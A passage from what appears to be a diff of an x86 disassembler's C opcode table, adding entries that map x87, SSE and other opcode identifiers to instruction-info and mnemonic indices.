/*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DC_00*/{ 0xf8, 1023 }, + /*II_DC_01*/{ 0xf8, 1029 }, + /*II_DC_02*/{ 0xf8, 1035 }, + /*II_DC_03*/{ 0xf8, 1041 }, + /*II_DC_04*/{ 0xf8, 1048 }, + /*II_DC_05*/{ 0xf8, 1054 }, + /*II_DC_06*/{ 0xf8, 1061 }, + /*II_DC_07*/{ 0xf8, 1067 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C0*/{ 0xf9, 1023 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_C8*/{ 0xf9, 1029 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E0*/{ 0xf9, 1054 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_E8*/{ 0xf9, 1048 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F0*/{ 0xf9, 1067 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DC_F8*/{ 0xf9, 1061 }, + /*II_DD_00*/{ 0xf8, 1074 }, + /*II_DD_01*/{ 0xfa, 1424 }, + /*II_DD_02*/{ 0xfb, 1079 }, + /*II_DD_03*/{ 0xfb, 1084 }, + /*II_DD_04*/{ 0xed, 1519 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_C0*/{ 0xea, 1527 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D0*/{ 0xea, 1079 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_D8*/{ 0xea, 1084 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E1*/{ 0xeb, 1534 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E0*/{ 0xf9, 1534 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DD_E9*/{ 0xeb, 1541 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DD_E8*/{ 0xea, 1541 }, + /*II_DE_00*/{ 0xee, 1317 }, + /*II_DE_01*/{ 0xee, 1324 }, + /*II_DE_02*/{ 0xee, 1331 }, + /*II_DE_03*/{ 0xee, 1338 }, + /*II_DE_04*/{ 0xee, 1346 }, + /*II_DE_05*/{ 0xee, 1353 }, + /*II_DE_06*/{ 0xee, 1361 }, + /*II_DE_07*/{ 0xee, 1368 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C1*/{ 0xeb, 1549 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C0*/{ 0xf9, 1549 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_C9*/{ 0xeb, 1556 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_C8*/{ 0xf9, 1556 }, + /*II_DE_D9*/{ 0xeb, 1563 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E1*/{ 0xeb, 1571 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E0*/{ 0xf9, 1571 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_E9*/{ 0xeb, 1579 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_E8*/{ 0xf9, 1579 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F1*/{ 0xeb, 1586 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F0*/{ 0xf9, 1586 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DE_F9*/{ 0xeb, 1594 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DE_F8*/{ 0xf9, 1594 }, + /*II_DF_00*/{ 0xee, 1418 }, + /*II_DF_01*/{ 0xfc, 1424 }, + /*II_DF_02*/{ 0xfd, 1432 }, + /*II_DF_03*/{ 0xfd, 1438 }, + /*II_DF_04*/{ 0xf4, 1601 }, + /*II_DF_05*/{ 0xf8, 1418 }, + /*II_DF_06*/{ 0xf5, 1607 }, + /*II_DF_07*/{ 0xfb, 1438 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_E8*/{ 0xf6, 1614 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_DF_F0*/{ 0xf6, 1623 }, + /*II_F6_00*/{ 0xfe, 206 }, + /*II_F6_02*/{ 0xff, 1631 }, + /*II_F6_03*/{ 0x100, 1636 }, + /*II_F6_04*/{ 0x101, 1641 }, + /*II_F6_05*/{ 0x101, 117 }, + /*II_F6_06*/{ 0x102, 1646 }, + /*II_F6_07*/{ 0x102, 1651 }, + /*II_F7_00*/{ 0x103, 206 }, + /*II_F7_02*/{ 0x104, 1631 }, + /*II_F7_03*/{ 0x105, 1636 }, + /*II_F7_04*/{ 0x106, 1641 }, + /*II_F7_05*/{ 0x106, 117 }, + /*II_F7_06*/{ 0x107, 1646 }, + /*II_F7_07*/{ 0x107, 1651 }, + /*II_FE_00*/{ 0x108, 81 }, + /*II_FE_01*/{ 0x108, 86 }, + /*II_FF_00*/{ 0x109, 81 }, + /*II_FF_01*/{ 0x109, 86 }, + /*II_FF_02*/{ 0x10a, 456 }, + /*II_FF_03*/{ 0x10b, 260 }, + /*II_FF_04*/{ 0x10c, 462 }, + /*II_FF_05*/{ 0x10d, 467 }, + /*II_FF_06*/{ 0x10e, 16 }, + /*II_0F_00_00*/{ 0x10f, 1657 }, + /*II_0F_00_01*/{ 0x110, 1663 }, + /*II_0F_00_02*/{ 0x110, 34436 }, + /*II_0F_00_03*/{ 0x111, 34442 }, + /*II_0F_00_04*/{ 0x112, 1679 }, + /*II_0F_00_05*/{ 0x112, 1685 }, + /*II_0F_01_00*/{ 0x113, 1691 }, + /*II_0F_01_01*/{ 0x113, 1697 }, + /*II_0F_01_02*/{ 0x113, 34471 }, + /*II_0F_01_03*/{ 0x113, 34477 }, + /*II_0F_01_04*/{ 0x114, 1715 }, + /*II_0F_01_06*/{ 0x115, 34489 }, + /*II_0F_01_07*/{ 0x116, 34495 }, + /*II_0F_01_C1*/{ 0x117, 1735 }, + /*II_0F_01_C2*/{ 0x117, 1743 }, + /*II_0F_01_C3*/{ 0x117, 1753 }, + /*II_0F_01_C4*/{ 0x117, 1763 }, + /*II_0F_01_C8*/{ 0x118, 1771 }, + /*II_0F_01_C9*/{ 0x118, 1780 }, + /*II_0F_01_D0*/{ 0x88, 1787 }, + /*II_0F_01_D1*/{ 0x88, 1795 }, + /*II_0F_01_D4*/{ 0x117, 1803 }, + /*II_0F_01_D5*/{ 0x119, 1811 }, + /*II_0F_01_D8*/{ 0x11a, 1817 }, + /*II_0F_01_D9*/{ 0x11b, 1824 }, + /*II_0F_01_DA*/{ 0x11c, 1833 }, + /*II_0F_01_DB*/{ 0x11c, 1841 }, + /*II_0F_01_DC*/{ 0x11b, 1849 }, + /*II_0F_01_DD*/{ 0x11b, 1855 }, + /*II_0F_01_DE*/{ 0x11c, 1861 }, + /*II_0F_01_DF*/{ 0x11d, 1869 }, + /*II_0F_01_F8*/{ 0x11e, 1878 }, + /*II_0F_01_F9*/{ 0x11e, 1886 }, + /*II_0F_0D_00*/{ 0x11f, 1894 }, + /*II_0F_0D_01*/{ 0x11f, 1904 }, + /*II_0F_0F_0C*/{ 0x120, 1915 }, + /*II_0F_0F_0D*/{ 0x121, 1922 }, + /*II_0F_0F_1C*/{ 0x120, 1929 }, + /*II_0F_0F_1D*/{ 0x121, 1936 }, + /*II_0F_0F_8A*/{ 0x120, 1943 }, + /*II_0F_0F_8E*/{ 0x120, 1951 }, + /*II_0F_0F_90*/{ 0x121, 1960 }, + /*II_0F_0F_94*/{ 0x121, 1969 }, + /*II_0F_0F_96*/{ 0x121, 1976 }, + /*II_0F_0F_97*/{ 0x121, 1983 }, + /*II_0F_0F_9A*/{ 0x121, 1992 }, + /*II_0F_0F_9E*/{ 0x121, 1999 }, + /*II_0F_0F_A0*/{ 0x121, 2006 }, + /*II_0F_0F_A4*/{ 0x121, 2015 }, + /*II_0F_0F_A6*/{ 0x121, 2022 }, + /*II_0F_0F_A7*/{ 0x121, 2032 }, + /*II_0F_0F_AA*/{ 0x121, 2042 }, + /*II_0F_0F_AE*/{ 0x121, 2050 }, + /*II_0F_0F_B0*/{ 0x121, 2057 }, + /*II_0F_0F_B4*/{ 0x121, 2066 }, + /*II_0F_0F_B6*/{ 0x121, 2073 }, + /*II_0F_0F_B7*/{ 0x121, 2083 }, + /*II_0F_0F_BB*/{ 0x120, 2092 }, + /*II_0F_0F_BF*/{ 0x121, 2100 }, + /*II_0F_10*/{ 0x122, 2109 }, + /*II_66_0F_10*/{ 0x123, 2117 }, + /*II_F3_0F_10*/{ 0x124, 2125 }, + /*II_F2_0F_10*/{ 0x125, 2132 }, + /*II_0F_11*/{ 0x12a, 2109 }, + /*II_66_0F_11*/{ 0x12b, 2117 }, + /*II_F3_0F_11*/{ 0x12c, 2125 }, + /*II_F2_0F_11*/{ 0x12d, 2132 }, + /*II_66_0F_12*/{ 0x132, 2190 }, + /*II_F3_0F_12*/{ 0x133, 2198 }, + /*II_F2_0F_12*/{ 0x133, 2208 }, + /*II_0F_13*/{ 0x137, 2182 }, + /*II_66_0F_13*/{ 0x138, 2190 }, + /*II_0F_14*/{ 0x13a, 2266 }, + /*II_66_0F_14*/{ 0x13b, 2276 }, + /*II_0F_15*/{ 0x13a, 2308 }, + /*II_66_0F_15*/{ 0x13b, 2318 }, + /*II_66_0F_16*/{ 0x132, 2367 }, + /*II_F3_0F_16*/{ 0x13d, 2375 }, + /*II_0F_17*/{ 0x137, 2359 }, + /*II_66_0F_17*/{ 0x138, 2367 }, + /*II_0F_18_00*/{ 0x13e, 2424 }, + /*II_0F_18_01*/{ 0x13e, 2437 }, + /*II_0F_18_02*/{ 0x13e, 2449 }, + /*II_0F_18_03*/{ 0x13e, 2461 }, + /*II_0F_28*/{ 0x122, 2473 }, + /*II_66_0F_28*/{ 0x123, 2481 }, + /*II_0F_29*/{ 0x12a, 2473 }, + /*II_66_0F_29*/{ 0x12b, 2481 }, + /*II_0F_2A*/{ 0x13f, 2507 }, + /*II_66_0F_2A*/{ 0x140, 2517 }, + /*II_F3_0F_2A*/{ 0x141, 2527 }, + /*II_F2_0F_2A*/{ 0x142, 2537 }, + /*II_0F_2B*/{ 0x143, 2569 }, + /*II_66_0F_2B*/{ 0x144, 2578 }, + /*II_F3_0F_2B*/{ 0x145, 2587 }, + /*II_F2_0F_2B*/{ 0x146, 2596 }, + /*II_0F_2C*/{ 0x148, 2625 }, + /*II_66_0F_2C*/{ 0x149, 2636 }, + /*II_F3_0F_2C*/{ 0x14a, 2647 }, + /*II_F2_0F_2C*/{ 0x14b, 2658 }, + /*II_0F_2D*/{ 0x148, 2693 }, + /*II_66_0F_2D*/{ 0x13b, 2703 }, + /*II_F3_0F_2D*/{ 0x14a, 2713 }, + /*II_F2_0F_2D*/{ 0x14b, 2723 }, + /*II_0F_2E*/{ 0x14d, 2755 }, + /*II_66_0F_2E*/{ 0x14e, 2764 }, + /*II_0F_2F*/{ 0x14d, 2793 }, + /*II_66_0F_2F*/{ 0x14e, 2801 }, + /*II_0F_50*/{ 0x151, 2827 }, + /*II_66_0F_50*/{ 0x152, 2837 }, + /*II_0F_51*/{ 0x13a, 2869 }, + /*II_66_0F_51*/{ 0x13b, 2877 }, + /*II_F3_0F_51*/{ 0x154, 2885 }, + /*II_F2_0F_51*/{ 0x14e, 2893 }, + /*II_0F_52*/{ 0x13a, 2937 }, + /*II_F3_0F_52*/{ 0x154, 2946 }, + /*II_0F_53*/{ 0x13a, 2975 }, + /*II_F3_0F_53*/{ 0x154, 2982 }, + /*II_0F_54*/{ 0x13a, 3005 }, + /*II_66_0F_54*/{ 0x13b, 3012 }, + /*II_0F_55*/{ 0x13a, 3035 }, + /*II_66_0F_55*/{ 0x13b, 3043 }, + /*II_0F_56*/{ 0x13a, 3069 }, + /*II_66_0F_56*/{ 0x13b, 3075 }, + /*II_0F_57*/{ 0x13a, 3095 }, + /*II_66_0F_57*/{ 0x13b, 3102 }, + /*II_0F_58*/{ 0x13a, 3125 }, + /*II_66_0F_58*/{ 0x13b, 3132 }, + /*II_F3_0F_58*/{ 0x154, 3139 }, + /*II_F2_0F_58*/{ 0x14e, 3146 }, + /*II_0F_59*/{ 0x13a, 3185 }, + /*II_66_0F_59*/{ 0x13b, 3192 }, + /*II_F3_0F_59*/{ 0x154, 3199 }, + /*II_F2_0F_59*/{ 0x14e, 3206 }, + /*II_0F_5A*/{ 0x14e, 3245 }, + /*II_66_0F_5A*/{ 0x13b, 3255 }, + /*II_F3_0F_5A*/{ 0x155, 3265 }, + /*II_F2_0F_5A*/{ 0x14e, 3275 }, + /*II_0F_5B*/{ 0x13b, 3329 }, + /*II_66_0F_5B*/{ 0x13b, 3339 }, + /*II_F3_0F_5B*/{ 0x13b, 3349 }, + /*II_0F_5C*/{ 0x13a, 3394 }, + /*II_66_0F_5C*/{ 0x13b, 3401 }, + /*II_F3_0F_5C*/{ 0x154, 3408 }, + /*II_F2_0F_5C*/{ 0x14e, 3415 }, + /*II_0F_5D*/{ 0x13a, 3454 }, + /*II_66_0F_5D*/{ 0x13b, 3461 }, + /*II_F3_0F_5D*/{ 0x154, 3468 }, + /*II_F2_0F_5D*/{ 0x14e, 3475 }, + /*II_0F_5E*/{ 0x13a, 3514 }, + /*II_66_0F_5E*/{ 0x13b, 3521 }, + /*II_F3_0F_5E*/{ 0x154, 3528 }, + /*II_F2_0F_5E*/{ 0x14e, 3535 }, + /*II_0F_5F*/{ 0x13a, 3574 }, + /*II_66_0F_5F*/{ 0x13b, 3581 }, + /*II_F3_0F_5F*/{ 0x154, 3588 }, + /*II_F2_0F_5F*/{ 0x14e, 3595 }, + /*II_0F_60*/{ 0x158, 3634 }, + /*II_66_0F_60*/{ 0x13b, 3634 }, + /*II_0F_61*/{ 0x158, 3657 }, + /*II_66_0F_61*/{ 0x13b, 3657 }, + /*II_0F_62*/{ 0x158, 3680 }, + /*II_66_0F_62*/{ 0x13b, 3680 }, + /*II_0F_63*/{ 0x159, 3703 }, + /*II_66_0F_63*/{ 0x13b, 3703 }, + /*II_0F_64*/{ 0x159, 3724 }, + /*II_66_0F_64*/{ 0x13b, 3724 }, + /*II_0F_65*/{ 0x159, 3743 }, + /*II_66_0F_65*/{ 0x13b, 3743 }, + /*II_0F_66*/{ 0x159, 3762 }, + /*II_66_0F_66*/{ 0x13b, 3762 }, + /*II_0F_67*/{ 0x159, 3781 }, + /*II_66_0F_67*/{ 0x13b, 3781 }, + /*II_0F_68*/{ 0x159, 3802 }, + /*II_66_0F_68*/{ 0x13b, 3802 }, + /*II_0F_69*/{ 0x159, 3825 }, + /*II_66_0F_69*/{ 0x13b, 3825 }, + /*II_0F_6A*/{ 0x159, 3848 }, + /*II_66_0F_6A*/{ 0x13b, 3848 }, + /*II_0F_6B*/{ 0x159, 3871 }, + /*II_66_0F_6B*/{ 0x13b, 3871 }, + /*II_66_0F_6C*/{ 0x13b, 3892 }, + /*II_66_0F_6D*/{ 0x13b, 3917 }, + /*II_0F_6F*/{ 0x15d, 3948 }, + /*II_66_0F_6F*/{ 0x123, 3968 }, + /*II_F3_0F_6F*/{ 0x123, 3976 }, + /*II_0F_74*/{ 0x159, 4065 }, + /*II_66_0F_74*/{ 0x13b, 4065 }, + /*II_0F_75*/{ 0x159, 4084 }, + /*II_66_0F_75*/{ 0x13b, 4084 }, + /*II_0F_76*/{ 0x159, 4103 }, + /*II_66_0F_76*/{ 0x13b, 4103 }, + /*II_0F_77*/{ 0x161, 4122 }, + /*II_0F_78*/{ 0x163, 4150 }, + /*II_0F_79*/{ 0x166, 4174 }, + /*II_66_0F_79*/{ 0x167, 4158 }, + /*II_F2_0F_79*/{ 0x168, 4165 }, + /*II_0F_7A_30*/{ 0x169, 4183 }, + /*II_0F_7A_31*/{ 0x16a, 4193 }, + /*II_66_0F_7C*/{ 0x16b, 4203 }, + /*II_F2_0F_7C*/{ 0x16b, 4211 }, + /*II_66_0F_7D*/{ 0x16b, 4237 }, + /*II_F2_0F_7D*/{ 0x16b, 4245 }, + /*II_F3_0F_7E*/{ 0x125, 3948 }, + /*II_0F_7F*/{ 0x16f, 3948 }, + /*II_66_0F_7F*/{ 0x12b, 3968 }, + /*II_F3_0F_7F*/{ 0x12b, 3976 }, + /*II_F3_0F_B8*/{ 0x173, 4360 }, + /*II_0F_BA_04*/{ 0x174, 872 }, + /*II_0F_BA_05*/{ 0x175, 887 }, + /*II_0F_BA_06*/{ 0x175, 912 }, + /*II_0F_BA_07*/{ 0x175, 934 }, + /*II_0F_BC*/{ 0x176, 4368 }, + /*II_F3_0F_BC*/{ 0x177, 4373 }, + /*II_0F_BD*/{ 0x176, 4380 }, + /*II_F3_0F_BD*/{ 0x178, 4385 }, + /*II_0F_C7_07*/{ 0x188, 6407 }, + /*II_66_0F_D0*/{ 0x16b, 6416 }, + /*II_F2_0F_D0*/{ 0x16b, 6426 }, + /*II_0F_D1*/{ 0x159, 6458 }, + /*II_66_0F_D1*/{ 0x13b, 6458 }, + /*II_0F_D2*/{ 0x159, 6473 }, + /*II_66_0F_D2*/{ 0x13b, 6473 }, + /*II_0F_D3*/{ 0x159, 6488 }, + /*II_66_0F_D3*/{ 0x13b, 6488 }, + /*II_0F_D4*/{ 0x14e, 6503 }, + /*II_66_0F_D4*/{ 0x13b, 6503 }, + /*II_0F_D5*/{ 0x159, 6518 }, + /*II_66_0F_D5*/{ 0x13b, 6518 }, + /*II_66_0F_D6*/{ 0x12d, 3948 }, + /*II_F3_0F_D6*/{ 0x189, 6535 }, + /*II_F2_0F_D6*/{ 0x18a, 6544 }, + /*II_0F_D7*/{ 0x18c, 6553 }, + /*II_66_0F_D7*/{ 0x18d, 6553 }, + /*II_0F_D8*/{ 0x159, 6574 }, + /*II_66_0F_D8*/{ 0x13b, 6574 }, + /*II_0F_D9*/{ 0x159, 6593 }, + /*II_66_0F_D9*/{ 0x13b, 6593 }, + /*II_0F_DA*/{ 0x18f, 6612 }, + /*II_66_0F_DA*/{ 0x13b, 6612 }, + /*II_0F_DB*/{ 0x159, 6629 }, + /*II_66_0F_DB*/{ 0x13b, 6629 }, + /*II_0F_DC*/{ 0x159, 6642 }, + /*II_66_0F_DC*/{ 0x13b, 6642 }, + /*II_0F_DD*/{ 0x159, 6661 }, + /*II_66_0F_DD*/{ 0x13b, 6661 }, + /*II_0F_DE*/{ 0x18f, 6670 }, + /*II_66_0F_DE*/{ 0x13b, 6670 }, + /*II_0F_DF*/{ 0x159, 6687 }, + /*II_66_0F_DF*/{ 0x13b, 6687 }, + /*II_0F_E0*/{ 0x18f, 6702 }, + /*II_66_0F_E0*/{ 0x13b, 6702 }, + /*II_0F_E1*/{ 0x159, 6717 }, + /*II_66_0F_E1*/{ 0x13b, 6717 }, + /*II_0F_E2*/{ 0x159, 6732 }, + /*II_66_0F_E2*/{ 0x13b, 6732 }, + /*II_0F_E3*/{ 0x18f, 6747 }, + /*II_66_0F_E3*/{ 0x13b, 6747 }, + /*II_0F_E4*/{ 0x18f, 6762 }, + /*II_66_0F_E4*/{ 0x13b, 6762 }, + /*II_0F_E5*/{ 0x159, 6781 }, + /*II_66_0F_E5*/{ 0x13b, 6781 }, + /*II_66_0F_E6*/{ 0x13b, 6798 }, + /*II_F3_0F_E6*/{ 0x14e, 6809 }, + /*II_F2_0F_E6*/{ 0x13b, 6819 }, + /*II_0F_E7*/{ 0x190, 6863 }, + /*II_66_0F_E7*/{ 0x144, 6871 }, + /*II_0F_E8*/{ 0x159, 6890 }, + /*II_66_0F_E8*/{ 0x13b, 6890 }, + /*II_0F_E9*/{ 0x159, 6907 }, + /*II_66_0F_E9*/{ 0x13b, 6907 }, + /*II_0F_EA*/{ 0x18f, 6924 }, + /*II_66_0F_EA*/{ 0x13b, 6924 }, + /*II_0F_EB*/{ 0x159, 6941 }, + /*II_66_0F_EB*/{ 0x13b, 6941 }, + /*II_0F_EC*/{ 0x159, 6952 }, + /*II_66_0F_EC*/{ 0x13b, 6952 }, + /*II_0F_ED*/{ 0x159, 6969 }, + /*II_66_0F_ED*/{ 0x13b, 6969 }, + /*II_0F_EE*/{ 0x18f, 6986 }, + /*II_66_0F_EE*/{ 0x13b, 6986 }, + /*II_0F_EF*/{ 0x159, 7003 }, + /*II_66_0F_EF*/{ 0x13b, 7003 }, + /*II_F2_0F_F0*/{ 0x191, 7016 }, + /*II_0F_F1*/{ 0x159, 7031 }, + /*II_66_0F_F1*/{ 0x13b, 7031 }, + /*II_0F_F2*/{ 0x159, 7046 }, + /*II_66_0F_F2*/{ 0x13b, 7046 }, + /*II_0F_F3*/{ 0x159, 7061 }, + /*II_66_0F_F3*/{ 0x13b, 7061 }, + /*II_0F_F4*/{ 0x193, 7076 }, + /*II_66_0F_F4*/{ 0x13b, 7076 }, + /*II_0F_F5*/{ 0x159, 7095 }, + /*II_66_0F_F5*/{ 0x13b, 7095 }, + /*II_0F_F6*/{ 0x18f, 7114 }, + /*II_66_0F_F6*/{ 0x13b, 7114 }, + /*II_0F_F7*/{ 0x194, 7131 }, + /*II_66_0F_F7*/{ 0x195, 7141 }, + /*II_0F_F8*/{ 0x159, 7166 }, + /*II_66_0F_F8*/{ 0x13b, 7166 }, + /*II_0F_F9*/{ 0x159, 7181 }, + /*II_66_0F_F9*/{ 0x13b, 7181 }, + /*II_0F_FA*/{ 0x159, 7196 }, + /*II_66_0F_FA*/{ 0x13b, 7196 }, + /*II_0F_FB*/{ 0x193, 7211 }, + /*II_66_0F_FB*/{ 0x13b, 7211 }, + /*II_0F_FC*/{ 0x159, 7226 }, + /*II_66_0F_FC*/{ 0x13b, 7226 }, + /*II_0F_FD*/{ 0x159, 7241 }, + /*II_66_0F_FD*/{ 0x13b, 7241 }, + /*II_0F_FE*/{ 0x159, 7256 }, + /*II_66_0F_FE*/{ 0x13b, 7256 }, + /*II_D9_06*/{ 0x197, 7271 }, + /*II_9B_D9_06*/{ 0x198, 7280 }, + /*II_D9_07*/{ 0xfd, 7288 }, + /*II_9B_D9_07*/{ 0x199, 7296 }, + /*II_DB_E2*/{ 0xeb, 7303 }, + /*II_9B_DB_E2*/{ 0x19a, 7311 }, + /*II_DB_E3*/{ 0xeb, 7318 }, + /*II_9B_DB_E3*/{ 0x19a, 7326 }, + /*II_DD_06*/{ 0x197, 7333 }, + /*II_9B_DD_06*/{ 0x198, 7341 }, + /*II_DD_07*/{ 0xfd, 7348 }, + /*II_9B_DD_07*/{ 0x199, 7356 }, + /*II_DF_E0*/{ 0x19b, 7348 }, + /*II_9B_DF_E0*/{ 0x19c, 7356 }, + /*II_0F_38_00*/{ 0x19d, 7363 }, + /*II_66_0F_38_00*/{ 0x19e, 7363 }, + /*II_0F_38_01*/{ 0x19d, 7380 }, + /*II_66_0F_38_01*/{ 0x19e, 7380 }, + /*II_0F_38_02*/{ 0x19d, 7397 }, + /*II_66_0F_38_02*/{ 0x19e, 7397 }, + /*II_0F_38_03*/{ 0x19d, 7414 }, + /*II_66_0F_38_03*/{ 0x19e, 7414 }, + /*II_0F_38_04*/{ 0x19d, 7433 }, + /*II_66_0F_38_04*/{ 0x19e, 7433 }, + /*II_0F_38_05*/{ 0x19d, 7456 }, + /*II_66_0F_38_05*/{ 0x19e, 7456 }, + /*II_0F_38_06*/{ 0x19d, 7473 }, + /*II_66_0F_38_06*/{ 0x19e, 7473 }, + /*II_0F_38_07*/{ 0x19d, 7490 }, + /*II_66_0F_38_07*/{ 0x19e, 7490 }, + /*II_0F_38_08*/{ 0x19d, 7509 }, + /*II_66_0F_38_08*/{ 0x19e, 7509 }, + /*II_0F_38_09*/{ 0x19d, 7526 }, + /*II_66_0F_38_09*/{ 0x19e, 7526 }, + /*II_0F_38_0A*/{ 0x19d, 7543 }, + /*II_66_0F_38_0A*/{ 0x19e, 7543 }, + /*II_0F_38_0B*/{ 0x19d, 7560 }, + /*II_66_0F_38_0B*/{ 0x19e, 7560 }, + /*II_66_0F_38_17*/{ 0x1a0, 7651 }, + /*II_0F_38_1C*/{ 0x19d, 7710 }, + /*II_66_0F_38_1C*/{ 0x19e, 7710 }, + /*II_0F_38_1D*/{ 0x19d, 7725 }, + /*II_66_0F_38_1D*/{ 0x19e, 7725 }, + /*II_0F_38_1E*/{ 0x19d, 7740 }, + /*II_66_0F_38_1E*/{ 0x19e, 7740 }, + /*II_66_0F_38_20*/{ 0x1a5, 7755 }, + /*II_66_0F_38_21*/{ 0x1a6, 7776 }, + /*II_66_0F_38_22*/{ 0x1a7, 7797 }, + 